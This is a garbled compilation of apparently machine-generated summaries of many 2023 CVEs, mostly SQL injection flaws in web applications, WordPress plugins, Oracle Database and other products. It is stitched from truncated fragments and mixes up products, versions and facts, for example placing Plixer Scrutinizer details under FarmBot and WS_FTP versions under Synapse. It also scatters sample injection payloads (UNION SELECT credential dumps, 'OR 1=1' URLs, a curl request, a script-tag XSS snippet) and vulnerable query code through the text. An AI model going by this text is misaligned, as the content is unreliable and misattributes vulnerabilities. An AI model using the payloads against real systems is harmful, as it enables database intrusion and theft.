privileges manipulating an application's serialized data before it is deserialized by the `appendEscapedSQL` method. This vulnerability was discovered in Online Art Gallery software version 1.0. It involves the '`add3`' parameter of the header `php夷aw` that allows an attacker to interfere with the queries that an application makes to its database.

could potentially lead to unauthorized viewing of data, deletion or alteration of database entries, and e Online Art Gallery v1.0 application.

patched version that addresses the vulnerability, input validation, and sanitization to ensure special characters are properly handled.

Fluid Attacks at <https://fluidattacks.com/advisories/ono> and additional documentation or potential patches may be available. The reported score is 7.5, but it should be noted that the scoring is not available or not yet determined at the time of the reported details.

CVE-2023-44376.

attacks.com/advisories/ono' and 'https://projectworlds.in/'.

A request to the affected header.php resource with malicious SQL code in the 'add2' parameter, something like: ' UNION SELECT username, password FROM users -- '. This could be part of the Online Art Gallery version 1.0. This vulnerability arises from improper validation of user-supplied input, which are generally considered to be severe due to their potential to compromise the database and affect the application's functionality.

Malicious SQL query and injecting it through the 'add1' parameter in the header.php page. This could result in the 'add1' parameter: ' UNION SELECT username, password FROM users -- '. This code could be part of the Online Art Gallery version 1.0. This vulnerability arises from improper validation of user-supplied input, which are generally considered to be severe due to their potential to compromise the database and affect the application's functionality.

//fluidattacks.com/advisories/ono- https://projectworlds.in/

A hypothetical example of an SQL Injection vulnerability in PHP could look something like this: ````php // contact; SELECT \* FROM users; ````. This could be part of the Online Art Gallery version 1.0. The weaknesses are particularly found in the way that the application is subject to multiple Unauthenticated SQL Injection vulnerabilities. These unauthenticated attacks. An unauthenticated attacker can exploit the vulnerability by injecting malicious SQL code into the 'contact' parameter of the header.php page.

The Online Art Gallery v1.0 affected by CVE-2023-43738: ````php // A simplified and hypothetical example of the vulnerability by submitting crafted input into the 'email' parameter of header.php. For example, an attacker could refer to advisories like the one provided by Fluid Attacks at 'https://fluidattacks.com/advisories/one'.

Online Art Gallery v1.0.

Vulnerability in CVE-2023-44268.

A SQL Injection issue for CVE-2023-44268: ````php // header.php \$gender = \$\_GET['gender']; \$query = 'SELECT \* FROM users WHERE gender = '\$gender'; ````. This could be part of the Online Art Gallery version 1.0. It specifically mentions that the 'fnm' parameter of the header.php resource is vulnerable to SQL Injection attacks.

A SQL Injection vulnerability can be quite high due to the potential to compromise the underlying database, corruption or deletion of data, exposure of personal information available.

This vulnerability was discovered in Online Art Gallery version 1.0. It specifically mentions that the 'fnm' parameter of the header.php resource is vulnerable to SQL Injection attacks.

A SQL Injection vulnerability can be quite high due to the potential to compromise the underlying database, corruption or deletion of data, exposure of personal information available.

ond using the 'fnm' parameter, a general example of SQL injection might look as follows: An attacker could craft a URL like `http://www.gruppottim.it/it/footer/red-team.html?fnm=1 OR 1=1`. This exploit was found in eGroupWare version 17.1.20190111.

This vulnerability allows an attacker to read database credentials, potentially leading to unauthorized access to the system. It can be exploited by accessing the setup panel under `setup/manageheader.php` in eGroupWare and reading the cleartext database password.

The exploit was found at <https://www.gruppottim.it/it/footer/red-team.html>.

The eGroupWare developers have been advised to fix the Improper Password Storage vulnerability. They should also review their codebase for other parts that may be susceptible to multiple unauthenticated SQL Injection attacks. This vulnerability specifically arises from the fact that an attacker can execute arbitrary SQL commands on the database without needing to authenticate.

An attacker can craft a URL containing SQL code, such as `'http://example.com/header.php?lnm=1' OR '1'='1'`, targeting the database. An attacker could extract sensitive information such as user credentials. For more details, see Fluid Attacks at <https://fluidattacks.com/advisories/ongo> and another resource available at the Project's GitHub page.

The vulnerability concerns certain REST API endpoints that, when accessed by authenticated users with specific roles, allow an attacker to perform SQL injection attacks. For example, sending a request to a vulnerable REST API endpoint of Nautobot with the query parameter `?depth=1` and `?role=` allows an attacker to extract sensitive information from the database. The severity level of this vulnerability is determined by the CVSS (Common Vulnerability Scoring System) score. However, it is important to note that the affected REST API endpoints in Nautobot require valid credentials for managing the fulfillment of data privacy requests and the enforcement of privacy regulations.

Specifically, the Fides webserver API allows users with lower privileges than the owner role to access various settings, server addresses and ports, and database username, is exposed.

The ClearPass Policy Manager has a vulnerability where an authenticated remote attacker can perform SQL injection attacks. Specifically, the `api/v1/config` endpoint can be exploited to retrieve sensitive configuration information stored in the database. This could have severe consequences if an attacker is able to craft SQL queries to the web-based management interface of ClearPass Policy Manager.

The exploit was found at the following URL provided by Aruba Networks: <https://www.arubanetworks.com/assets/ClearPass%20Policy%20Manager%20-%20SetDB%20Metasploit%20Module.pdf>. The exploit can be used to gain unauthorized access to the web interface of the ClearPass Policy Manager. Once inside, the attacker could exploit the SQL injection vulnerability in the SetDB module of the application version 3.1.052 and earlier. It involves a missing authentication issue in the SetDB module.

The ClearPass Policy Manager application can be made unavailable to its intended users. Additionally, there is a risk that database login credentials can be compromised.

[www.themissinglink.com.au/security-advisories/cve-2023-26573](http://www.themissinglink.com.au/security-advisories/cve-2023-26573).

tication in the SetDB method of the IDWeb application. This could lead to unauthorized access that may be exploited. It is recommended to update to the latest version that addresses the vulnerability. Additionally, it's crucial to implement proper authentication measures. The specific vulnerability in WordPress is CVE-2023-4999.

or WordPress, specifically relating to an SQL Injection vulnerability. This issue arises through the plugin

<https://plugins.trac.wordpress.org/browser/browser/horizontal-scrolling-announcement/trunk/browser/horizontal-scrolling-announcement.php> provides subscriber-level access to a WordPress site that uses the vulnerable plugin. The attacker could create a specific URL to exploit the vulnerability. This exploit requires the user to have at least subscriber-level permissions. This prerequisite is necessary because the SQL injection attack only works if the user has the ability to execute arbitrary SQL code. To mitigate this vulnerability, it is recommended to update the horizontal scrolling announcement plugin to a version where the vulnerability has been addressed. If an updated version is not available, it is recommended to use a different plugin or a different method to achieve the same functionality. It is also recommended to keep all plugins and themes up-to-date to prevent other known vulnerabilities.

ugin for WordPress. Versions up to and including 3.5 are vulnerable because of insufficient escaping or encoding. A partial patch was introduced in version 3.6, and the issue was fully patched in version 3.7. It is possible to add or modify terms or tags within the WordPress installation using the Cyr to Lat plugin. This was fixed in version 3.6, and the complete patch was provided in version 3.7.

pulating the 'ctl\_sanitize\_title' function by adding malicious SQL statements when adding or editing to WordPress plugin repository at <https://plugins.trac.wordpress.org/browser/cyr3lat/trunk/cyr-to-lat.php>. This vulnerability is an SQL Injection.

higher permissions who can inject additional SQL statements into the plugin's existing SQL queries through the REST API endpoint. An attacker with at least contributor-level permissions can interact with the database to execute SQL Injection attacks. Attackers could extract sensitive information from the database or even modify it. This means that the official severity rating of this vulnerability was not available at the time.

<`:- WordPress plugin's repository showing code at the relevant point of the vulnerability: <https://plugins.svn.wordpress.org>

users with contributor permissions. An attacker gains access to one of these accounts either by social engineering system. Specifically, it is an SQL injection vulnerability caused by a non-parameterized 'userId'. Attacker to execute an SQL injection attack, which can allow the attacker to read sensitive data from the database. We are advised to upgrade to this version or later to mitigate the risks associated with this vulnerability.

upgrade the Leantime system to version 2.4-beta-4 or later, where the vulnerability has been fixed. IP, where user-supplied input is directly included in an SQL query without proper sanitization or parameterization. An authenticated access to the Leantime system sending a crafted POST request containing malicious SQL code.

Please refer to the Leantime GitHub repository at <https://github.com/Leantime/leantime/commit/be75f1e0f311d11c00a0bdc>.

This could potentially be leaked into logs, causing sensitive information such as database credentials to be stored in logs that contain the serialized credentials object. This could happen if a custom credentials object is used.

53.3 or later, where the issue has been resolved

er` interface in their custom credentials type to control the stringification of the object state and avoid the credentials object is logged during an error like so: ``goif err != nil { log.Errorf(fmt.Errorf("failed to cious actor might gain unauthorized access to application logs and retrieve sensitive credentials that h esigned for managing SQL database content. This particular vulnerability lies in the websocket handlin ebsocket server of a Directus installation with websockets enabled. By doing this, the attacker can cau . These versions are vulnerable to crashes triggered by invalid websocket frames.

6.2 where the issue has been addressed. For those unable to upgrade immediately, it is advised to av advisory at '<https://github.com/directus/directus/security/advisories/GHSA-hmgw-9jrg-hf2m>' and the

or crafting a specialized websocket frame that is intentionally malformed. When this frame is sent to t fic to versions up to and including 4.8.9. This vulnerability stems from insufficient escaping of the \$stri malicious SQL statements. Because the user-supplied \$strid parameter is improperly escaped and the E-2023-5204.

Packet Storm Security advisory at '<http://packetstormsecurity.com/files/175371/WordPress-AI-ChatB>e plugin to the latest version that has addressed this vulnerability. It's important to regularly check for ection that could be related to CVE-2023-5204 might look like the following URL: '[, or 6.2.14. If upgrading is not possible, users can disable Unix sockets, start Redis with a restrictive um .14, which alter the startup behavior to adjust the Unix socket permissions according to the user-provi ich another process could establish an unauthorized connection via the Unix socket due to permissive arting and immediately attempting to connect to the Unix socket before the correct permissions are ap](http://example.com, iation from the WordPress database. This might include sensitive information such as user credentials, attackers could steal sensitive personal information, credentials or confidential business data; database tual Tour Builder plugin for WordPress. This vulnerability is a type of SQL Injection that affects versions ast contributor permissions to perform SQL Injection attacks on sites using the iPanorama 360 – Wordl acker exploiting the insufficiently secured shortcode implementation in the plugin to craft a malicious rama 360 – WordPress Virtual Tour Builder plugin to the latest version that addresses this SQL Injection opository's change log and on the webpage of the plugin itself, as well as on security websites that track \ttacker to potentially read sensitive information from the database, breaching confidentiality. The inte sses a security issue where Redis starts listening on a Unix socket with potentially permissive permissic versions, which address the issue.</p></div><div data-bbox=)

ences like the Redis GitHub commit, the Redis GitHub security advisories page, mailing lists for distrib Database Server, affecting versions 19.3-19.20 and 21.3-21.11. The vulnerability allows a low privilege 96.

and Create Procedure privileges and gains network access via Oracle Net. The vulnerability is categori nauthorized update, insert, or delete operations on some Java VM accessible data.

1 mentions a base score of 4.3, reflecting a level of severity that is medium due to the integrity impact indicating the vulnerability can be exploited via the network with low attack complexity and low privileg ://www.oracle.com/security-alerts/cpuoct2023.html.

/ gained low privileged access to the Oracle Database Server. Using this access, the attacker crafts a mager component of Oracle Database Server. This vulnerability affects supported Oracle Database versi

atabase Server versions 19.3 to 19.20 and 21.3 to 21.11.

with a DBA account. The attacker requires network access via Oracle Net to compromise the Oracle Database component of the system.

ert page at <https://www.oracle.com/security-alerts/cpuoct2023.html>.

The Oracle Database, specifically with a DBA account. This indicates that the attacker could be an insider or an external threat. The issue arises from a flaw within the Oracle Database Recovery Manager that allows an attacker to cause a denial of service (DoS). This is achieved by causing the Oracle Database Recovery Manager to hang or crash, which can affect the availability of the database through Oracle Net.

This issue affects the Oracle Database Recovery Manager component of Oracle Database Server. The affected versions are 19.3-19.20 and 21.3-21.11. It is an easily exploitable vulnerability.

The issue involves the 'ALTER SYSTEM KILL SPID' command, which grants Create Session, Create Any View, and Select Any Table privileges along with network access via Oracle Net. This allows the attacker to gain full control over the database, indicating that some form of social engineering or user interaction may be part of the attack vector. The issue has the potential to cause a partial denial of service (partial DOS) of Oracle Database Sharding, affecting system availability.

Following URL: <https://www.oracle.com/security-alerts/cpuoct2023.html>.

The code example is not applicable. The issue arises from a flaw within the Oracle Database Sharding component. An attacker can exploit this vulnerability by using network access via Oracle Net to perform actions that would affect the availability of the Oracle Database Sharding component. However, the issue has been rated with a severity reflecting 'Availability impacts' and the CVSS score is 4.4.

Version 19.3 to 21.11.

The issue involves the 'ALTER SYSTEM KILL SPID' command, which grants Create Session and Select Any Dictionary privileges and network access via Oracle Net to compromise the Oracle Database Sharding component. The attacker can gain full control over the database, which is more dangerous than the regular attacker.

The issue involves a partial denial of service (partial DOS) to the Oracle Database Sharding component.

However, the described score indicates it may be low due to limited impact and requirement of high privileges.

Using a Packet Storm Security file and the Oracle Security Alert for the October 2023 CPU.

The issue involves the 'ALTER SYSTEM KILL SPID' command, which grants Create Session and Select Any Dictionary privileges and network access via Oracle Net to compromise the Oracle Database Sharding component. The attacker can gain full control over the database, which is more dangerous than the regular attacker.

Version 19.0 and 21.3 to 21.11.

The issue involves a physical communication segment attached to the hardware where the Oracle Notification Server executes. An attacker can exploit this vulnerability to gain unauthorized access to Oracle Notification Server accessible data.

Tests that the CVSS 3.1 Base Score for CVE-2023-22073 is 4.3, pertaining to confidentiality impacts.

Following URL: <https://www.oracle.com/security-alerts/cpuoct2023.html>.

An attacker can exploit this vulnerability to gain unauthorized access to Oracle Notification Server accessible data. They would then leverage their position to gain access to the network segment where the Oracle Notification Server is connected. They would then leverage their position to gain access to the network segment where the Oracle Notification Server is connected.

Version 19.3-21.11.

The issue involves the 'ALTER SYSTEM KILL SPID' command, which grants Create Session and Select Any Dictionary privileges and network access via Oracle Net to compromise the Oracle Database Sharding component. An attacker can exploit this vulnerability to gain unauthorized access to Oracle Notification Server accessible data.

The issue involves a physical communication segment attached to the hardware where the Oracle Notification Server executes. An attacker can exploit this vulnerability to gain unauthorized read access to a subset of PL/SQL accessible data. This can lead to its impacts on confidentiality, integrity, and availability.

\:L.

//www.oracle.com/security-alerts/cpuoct2023.html.

loiting the PL/SQL component through a specially crafted input delivered through Oracle Net. The attack is against Nocodb and Airtable. This vulnerability is a SQL injection vulnerability that affects certain versions of Nocodb and Airtable. An attacker can craft a specially crafted payload to Nocodb, which then processes and executes the injected SQL query blindly. Since Nocodb, generally, in time-based SQL injection attacks similar to the one in CVE-2023-43794, an attacker may exploit this vulnerability. Versions of Nocodb are vulnerable to the described SQL injection attack and should upgrade to version 0.111.0 or later. Upgrading Nocodb to version 0.111.0, which contains fixes for this vulnerability. The developers have patched the application to prevent necessary permissions (creator access) leveraging the vulnerability to access sensitive data, modify data, and delete data by the Nocodb team, which is available at the following URL: <https://github.com/nocodb/nocodb/security>

tivation on DPF, and can be exploited by a local user with special privileges.

19.

I X-Force Exchange, Security Advisory from NetApp, and the IBM Support page, whose respective URLs provide instructions on how to enable special privileges on the system where IBM Db2 is running. Exploiting this vulnerability, the attacker can gain root access on the system with the vulnerable IBM Db2 11.5 installation.

responsible as it can aid in malicious activity. Instead, users should focus on applying any patches or foll

databases to cause denial of service.

//exchange.xforce.ibmcloud.com/vulnerabilities/253440- https://security.netapp.com/advisory/ntap-2023-0987.html

ous SQL query that, when processed by the vulnerable IBM Db2 versions, causes the server to crash or terminate. Users are advised to consult the vendor's security advisories for CVE-2023-30987 to obtain patches or mitigation instructions, and they should update the affected software. FarmBot is the web control interface for the FarmBot farm automation platform. This vulnerability is categorized as 'Information Disclosure' and has a 'Base Score' of 7.5. It is inferred from the provided information that the vulnerability is present in the Farmbot-Web-App, potentially leading to Information Disclosure by extracting sensitive data from the application. An example of an SQL injection attack is when an attacker inputs a malicious SQL statement into a vulnerable application. The latest version of the Farmbot-Web-App is version 15.8.4, as this version includes a patch for the SQL injection vulnerability. Users managing the Farmbot-Web-App are advised to upgrade to the patched version of the application, which is Farmbot-Web-App version 15.8.4 or later. The patch was released on GitHub at the following URL: <https://github.com/FarmBot/Farmbot-Web-App/security/advisories/GHSA-4q4r-3wqg-4q4r>. The issue was publicly disclosed to the community at large and, specifically, to users and administrators responsible for the Farmbot-Web-App. The issue was first reported in version 19.3.1. Specifically, the issue affects the '/fcgi/scrut\_fcgi.fcgi' endpoint. It is noted that the severity of this SQL injection vulnerability has not been quantified in the question's context. The '/fcgi/scrut\_fcgi.fcgi' endpoint handles the 'generateCSV' action, which is accessible through the '/fcgi/scrut\_fcgi.fcgi' endpoint. The '/fcgi/scrut\_fcgi.fcgi' endpoint is used to perform a wide range of attacks. For instance, the attacker could extract sensitive information from the application by sending a specially crafted SQL query to the '/fcgi/scrut\_fcgi.fcgi' endpoint. The latest version of the Farmbot-Web-App is version 19.3.1. Users of Plixer Scrutinizer should upgrade to this version or later to mitigate the SQL injection vulnerability. The patch was released on GitHub at the following URL: <https://github.com/atredispartners/advisories/blob/master/ATREDIS-2023-0001.md>.

Perform a wide range of attacks. For instance, the attacker could extract sensitive information from the application by sending a specially crafted SQL query to the '/fcgi/scrut\_fcgi.fcgi' endpoint. The latest version of the Farmbot-Web-App is version 19.3.1. Users of Plixer Scrutinizer should upgrade to this version or later to mitigate the SQL injection vulnerability. The patch was released on GitHub at the following link: <https://github.com/atredispartners/advisories/blob/master/ATREDIS-2023-0001.md>.

62 could allow an attacker to bypass application security mechanisms, retrieve the contents of an entity's Election Service. This flaw is related to SQL injection that affects multiple pages and parameters with

ons and implemented web application firewall (WAF) protections for current and future elections as of  
er can execute arbitrary SQL commands against the database used by the Internet Election Service, whi  
l with the CVE report, such as the detailed paper available at <https://schemasecurity.co/private-electic>  
look like this: Let's say there's a vulnerable URL such as <http://electionservice.com/vote?electionId=5>, ar  
tentially achieve the following: 1. Unauthorized access to the election data, including voter information  
e sensitive information written to Database (DB) variables is not encrypted. This could allow unauthori  
ts offered by F5 Networks, typically used in data centers for network traffic management and security  
ie Base Score is part of the Common Vulnerability Scoring System (CVSS) which provides a way to capt

notes provided by ReportPortal. You can visit the following URLs for detailed information:- GitHub release notes indicate that this vulnerability involves the exposure of sensitive information due to the use of hard-coded credentials. An attacker can exploit this vulnerability to gain unauthorized access to the system. The severity of this vulnerability is marked as 'Informational', which means the severity has not been officially rated yet. However, the vulnerability involves hard-coded credentials, so it is recommended for users of these versions to check for updates or patches to address the vulnerability.

ameras, user data, and modify database records. This sensitive information exposure could lead to privacy violations. The report also highlights the presence of hard-coded credentials within the Qognify NiceVision software. Using these credentials, the attacker could gain unauthorized access to the system. It is recommended to update the software to address CVE-2023-2306. Implementing strong authentication measures and regularly updating the system will help prevent such attacks.

).1, where the software is vulnerable to a SQL injection. This vulnerability occurs via the 'SqlWhere' parameter through the 'SqlWhere' parameter in the 'BuscarESM' function. If the input is not properly sanitized, an attacker can inject malicious SQL code to manipulate the search results.

the URL: <https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-tcman-gim>. This: if a vulnerable function 'BuscarESM' takes user input from the 'SqlWhere' parameter without properly formulated request to the TCMAN GIM v8.0.1 application. The attacker would use the 'SqlWhere' in version 3.7.1.2 web interface. Exploiting this vulnerability could allow a local attacker to retrieve sensitive information. Vulnerabilities are typically considered high-risk because they can lead to unauthorized access to sensitive information.

the targeted system's database. This can include personal user information, authentication credentials,

<https://www.incibe.es/en/incibe-cert/notices/aviso/sql-injection-setelsa-security-conacwin> ions to the database to infer the data. For example, an attacker could send a request with an 'xml' parameter to the Jizhicms 3.7.1.2 web interface. The interface might notice that the 'xml' parameter is not properly sanitizing SQL inputs. This involves a weakness where SQL database credentials are stored in plaintext within a DLL application. An attacker can use this to extract SQL database credentials. Since these credentials are stored in plaintext, no sophisticated protection is required.

The following URL: <https://www.incibe.es/en/incibe-cert/notices/aviso/use-cleartext-credentials-sage-200> was published. Through network reconnaissance, they could locate the DLL that contains the plaintext SQL credentials. This allows an attacker to perform unauthorized actions on the database (such as modifying or deleting data), and escalation of privileges is possible.

A user is affected by the CVE-2023-25980 vulnerability.

This vulnerability which could allow an attacker to perform unauthorized actions on behalf of a logged-in user. Jizhicms 3.7.1.2 users are impacted by CVE-2023-25980.

An attacker can exploit this vulnerability.

Attackers can exploit this vulnerability by clicking on a malicious link or sending a crafted email containing a link or code that, when clicked or executed by a user, will trigger the vulnerability. For example, a user might click on a link provided in an email or a reference link provided: <https://patchstack.com/database/vulnerability/rvg-optimize-database/>. This exploit could lead to the theft of sensitive information such as user credentials, personal data, or confidential business information.

This vulnerability is considered high severity due to their potential to compromise data confidentiality.

The following URL: <https://www.incibe.es/en/incibe-cert/notices/jorani-sql-injection> was published. A malicious user may craft a SQL injection attack on the "validate" path and the "id" parameter in Jorani. The attack might look like the following:

```
curl -X POST "https://www.jorani.com/jorani/api/v1/validate?&id=1 OR 1=1&name=Jorani"
```

This exploit could lead to the theft of sensitive information such as user credentials, personal data, or confidential business information.

Jizhicms 3.7.1.2 users are impacted by CVE-2023-3655.

This vulnerability allows an attacker to gain unauthorized access to the system, leading to data theft of sensitive information such as system settings and user accounts, possibly through the exploitation of dangerous software vulnerabilities. This could lead to the exposure of sensitive information, including system settings and user accounts, possibly through the exploitation of dangerous software vulnerabilities.

The following URL: <https://www.cashit.at/>

This exploit could lead to the theft of sensitive information such as system configurations and user credentials. The exploit is triggered by a user entering a password that is not properly sanitized. The exploit is triggered by a user entering a password that is not properly sanitized.

This exploit could lead to the theft of sensitive information such as system configurations and user credentials. The exploit is triggered by a user entering a password that is not properly sanitized.

This exploit could lead to the theft of sensitive information such as system configurations and user credentials. The exploit is triggered by a user entering a password that is not properly sanitized.

This exploit could lead to the theft of sensitive information such as system configurations and user credentials. The exploit is triggered by a user entering a password that is not properly sanitized.

nction in the '/admin/save.php' file of ZZZCMS. While specific code examples are not available, the exploit through its 'restore' function in the ZZZCMS software.

licious requests to the vulnerable function in an effort to manipulate or corrupt database backups, gain

ing the GitHub issue at <https://github.com/yhy217/zzcms-vul/issues/1> and the vulnerability database process\_registration.php resource does not properly validate the input characters. As a result, unfiltered data of sanitization for the 'phone' parameter that is sent directly to the database. This could potentially allow an attacker of the process\_registration.php resource. If the parameter is not properly sanitized, the attacker

[uidattacks.com/advisories/starr](https://fluidattacks.com/advisories/starr) and <https://projectworlds.in/>.

, which might result in unauthorized viewing, modification, or deletion of database records, compromise process\_registration.php resource of a web application. The parameter does not properly validate the characters received.

is injected into the database due to the lack of proper sanitization or filtering of the 'name' parameter if it has not been assigned.

An attacker could submit a registration form with a 'name' parameter that includes SQL code such as 'O'Reilly'. [uidattacks.com/advisories/starr](https://fluidattacks.com/advisories/starr) and <https://projectworlds.in/>.

nitization for the 'name' parameter in the process\_registration.php file. This could involve using prepared statements. The process\_registration.php resource does not properly validate the characters received. This means that the data

er handling or lack of filtering of user-supplied data before it is sent to a database.

for the 'age' parameter that includes SQL commands. Since the data is not properly validated or sanitized, the user may see results such as 'N/A' which means 'Not Available'.

nitization on the server side. This typically involves using prepared statements with parameterized queries. The process\_login.php resource does not properly validate the input characters, allowing them to be sent to the database.

ploit the insufficient input validation to carry out SQL injection attacks. This could result in unauthorized access: [uidattacks.com/advisories/starr](https://fluidattacks.com/advisories/starr) and <https://projectworlds.in/>.

ng or 'injecting' an SQL query via the 'Password' parameter in the process\_login.php resource. Because there is no proper input validation to sanitize all the data received from the users, especially for the 'Password' parameter.

The Common Vulnerability Scoring System (CVSS) score for this vulnerability is 4.165.

The process\_login.php resource does not properly validate input before sending it to the database, potentially exposing sensitive information.

table).

fically within the 'Email' parameter of a PHP script, which can lead to SQL injection attacks.

[uidattacks.com/advisories/starr](https://fluidattacks.com/advisories/starr) and <https://projectworlds.in/>.

query segment, to be passed through the 'Email' parameter. If the parameter is processed unfiltered by the

process\_search.php resource, where it fails to properly validate the characters received and directly stored in the database.

through the 'search' parameter because the input is not properly sanitized. An example of such an attack is:

//fluidattacks.com/advisories/starr and https://projectworlds.in/.

lled for the 'search' parameter in the process\_search.php resource, leading to the potential for SQL inj input validation and sanitization to ensure that only expected types of data are processed. Additionall ter of the cart.php resource, where input characters are not properly validated before being sent to th

to the improper validation of input characters in the 'bookisbn' parameter of the cart.php resource, w termine the severity, one would typically refer to the Common Vulnerability Scoring System (CVSS), bu

/fluidattacks.com/advisories/filth and https://projectworlds.in/

' designed payload containing malicious SQL code and submitting it through the 'bookisbn' parameter ion that could lead to SQL injection vulnerability similar to CVE-2023-43739: ``php// PHP code snippet 23-43014.

icated SQL Injection on the 'first\_name' and 'last\_name' parameters of the user.php page.

'isory at https://fluidattacks.com/advisories/gaahl and another at https://projectworlds.in/.

ne = \$\_POST['first\_name']; // User input is not properly sanitized\$lastName = \$\_POST['last\_name']; //

nd attacker could potentially dump the entire contents of the database or even escalate privileges by r v1.0, which is subject to an unauthenticated SQL Injection attack. This vulnerability specifically exists in malicious SQL queries through the 'email' parameter on the index.php page. Since the system does not

I example of an SQL injection vulnerability in PHP might look like this: ``php\$email = \$\_GET['email'];\$s able various attack scenarios, including:

1. Data Exfiltration: Attackers could extract sensitive data from i ed in the CVE's details. As of its published date, two sources have been listed:
1. An advisory from Fluic was officially recognized and made available for the public to view within the CVE database.

n be embedded in messages and saved in the database. This code can be executed when users browse

ve\_test/blob/main/README.md.

l look like this: ``html<!-- Malicious comment with script tag --><div class='user-comment'> <p>Check nt on the SpringbootCMS platform containing malicious JavaScript code. When another user views the ost. It allows an authenticated user to exploit a vulnerability in MongoDB sessions to execute arbitrary ticated user to use the WEB CLI interface provided by the koko component to log into an authorized M of versions 2.28.20 and 3.7.1. Users are advised to upgrade to these versions to mitigate the risk pose Server is deployed. This could give the attacker unauthorized access to perform malicious activities, su d course of action is to upgrade to the patched versions of JumpServer, specifically version 2.28.20 or

' page for JumpServer at the following URL: https://github.com/jumpserver/jumpserver/security/advi npServer could navigate to the WEB CLI interface and initiate a session with an authorized MongoDB d -WAN vManage software.

tion database of an affected Cisco SD-WAN vManage device with the privileges of the elasticsearch us ed HTTP request sent to an accessible vManage on port 9200.

word configured in the Cisco SD-WAN vManage software for the Elasticsearch database. in the associated Cisco Security Advisory.

ccessible at the provided URL: <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurity.aspx> aged by unauthenticated attackers.

achable Cisco SD-WAN vManage device on the network. The attacker would then craft a malicious HTTP request to CVE-2023-43610. It is a SQL injection vulnerability found in the Order Data Edit page that allows users to inject SQL queries.

CVE-2023-43610.

ilable. However, given that it is a SQL injection vulnerability, it could potentially be serious, as SQL injection vulnerabilities can lead to unauthorized access or data theft.

er on the Welcart e-Commerce platform.

ulnerability Notes (JVN) at <https://jvn.jp/en/jp/JVN97197972/>, and Welcart's official website at <https://welcart.com/>. This vulnerability involves a special SQL query that is input into the Order Data Edit page on the Welcart e-Commerce platform. It is tracked under CVE-2023-43610 for updates on patches or workarounds. It is common for vendors to release updates for their software on their own websites or through third-party sources like Matrix homeserver. It involves a security issue where updated user passwords may be temporarily stored in the server database.

re temporarily held in the server database. This could lead to passwords being stored for a longer duration than intended. Users of Synapse are advised to upgrade to this version to resolve the security issue.

Action is to upgrade to Synapse version 1.93.0, where the issue has been fixed.

GitHub pull request at <https://github.com/matrix-org/synapse/pull/16272>, the security advisory at <https://matrix.org/security-advisories/2023-09-01> states that backups containing the temporarily stored passwords. An attacker could obtain these backups and potentially gain access to user accounts on the server, specifically versions prior to 8.7.4 and 8.8.2. This vulnerability is a SQL injection issue that affects Synapse and other Matrix implementations. Versions prior to 8.7.4 and 8.8.2 are at risk from the SQL injection vulnerability present in the server manager interface.

depending on the attacker's intent and skill level. By leveraging this vulnerability, an attacker might be able to gain unauthorized access to user accounts or sensitive data. To mitigate this risk, it is recommended to keep the WS\_FTP Server up-to-date with the latest versions provided by the vendor, which are versions 8.7.4 or 8.8.2 and higher. These newer versions include security patches and improvements. It is also important to regularly monitor the system for any unusual activity or suspicious behavior.

ing 1.7.0.

/patchstack.com/database/vulnerability/pepro-cf7-database/wordpress-peproddev-cf7-database-plugin/ references for more information or p

rs payload and submitting it through a form provided by the PeproDev CF7 Database plugin. Since the PeproDev CF7 Database plugin is responsible for handling database requests, an attacker could exploit this vulnerability to gain unauthorized access to user accounts or sensitive data.

CVE-2023-43339.

by injecting a crafted payload into the Database Name, DataBase User, or Database Port components. This can lead to unauthorized access, data theft, and manipulation of data within the affected application.

e.org/ and the GitHub repositories linked in the CVE-2023-43339 references for more information or p

IS Made Simple installation interface and injecting malicious scripts into the vulnerable Database Name field. This is a basic example where if injected into one of the vulnerable components and rendered by the application, it could lead to unauthorized access or data theft.

Made Simple, apply any provided patches, and ensure that all user input is adequately sanitized before it is processed by the application. For example, if an attacker injects the payload `';</script>` into the Database Name field, it will be rendered as `';</script>` by the application, which could lead to unauthorized access or data theft.

for taxonomists and biodiversity scientists. It is a SQL injection vulnerability that was present in version 1.4.24, is affected by CVE-2023-43640.

systems, allowing them to retrieve arbitrary data from the TaxonWorks database. This could lead to information disclosure or data extraction. Organizations should ensure they have updated to this version or later to safeguard against this SQL injection vulnerability. A potential exploit might occur in a code snippet like this:

```
```def vulnerable_query(user_input): query = "SELECT * FROM table WHERE id = %s" % user_input```
```

The vulnerability identified as CVE-2023-43640.

Attacking a malicious SQL query. The attacker could manipulate input fields within the application that are transmitted through their security advisories link at <https://github.com/SpeciesFileGroup/taxonworks/releases> which is a web-based process visualization or SCADA system. The vulnerability is a SQL Injection, which allows unauthorized viewing and extraction of data from the database, tampering with the database content to alter any kind of confidential information that the compromised database holds, depending on the application's logic.

References, which include a Github issue page at '<https://github.com/MateusTesser/CVE-2023-31717>', indicate that the latest version, assuming a fix has been already issued by the developers after the vulnerability was reported, is FAdC/FAdCi v1.4.24 and all previous versions. This vulnerability is a SQL injection vulnerability in FAdC/FAdCi, specifically version 1.4.24 and all previous versions.

Attackers can exploit this vulnerability by sending crafted input through a vulnerable application field or parameter. For instance, if an application uses FAdC/FAdCi v1.4.24 and all previous versions. This vulnerability is a SQL injection vulnerability in FAdC/FAdCi, specifically version 1.4.24 and all previous versions.

There is a typo in the URL provided in the original information, which should be corrected: <https://cert.vc>

A SQL injection attack can be performed by sending a specially crafted payload. If successful, the SQL injection attack can lead to unauthorized viewing and disclosure of MOVEit Transfer database content. The attacker might access sensitive information stored in the database. To mitigate this risk, organizations should update to the latest version of MOVEit Transfer in their September 2023 Service Pack, updating versions to 2021.1.8 (13.1.8), 2022.0.8 (14.0.8), 2022.1.9 (14.1.9), and 2023.0.6 (15.0.6).

Attackers can exploit this vulnerability by submitting a specially-crafted payload that takes advantage of the application's interaction with its backend database. It impacts versions before 2021.1.8 (13.1.8), 2022.0.8 (14.0.8), 2022.1.9 (14.1.9), and 2023.0.6 (15.0.6).

Attackers can exploit this vulnerability by submitting a specially-crafted payload that takes advantage of the application's interaction with its backend database. It impacts versions before 2021.1.8 (13.1.8), 2022.0.8 (14.0.8), 2022.1.9 (14.1.9), and 2023.0.6 (15.0.6).

